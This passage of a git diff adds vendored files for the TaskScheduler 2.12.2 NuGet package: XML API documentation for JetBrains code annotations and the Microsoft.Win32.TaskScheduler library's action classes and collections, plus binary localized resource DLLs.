+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..4a7f142 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..119cd88 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..a53877e Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..c552ad1 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..1af2230 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..08e4ef5 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..6528448 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..8fbcde9 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..9b97cd5 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..6d8c0a9 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..fe57308 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/Microsoft.Win32.TaskScheduler.dll b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000..533f1c7 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/Microsoft.Win32.TaskScheduler.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/Microsoft.Win32.TaskScheduler.xml b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom 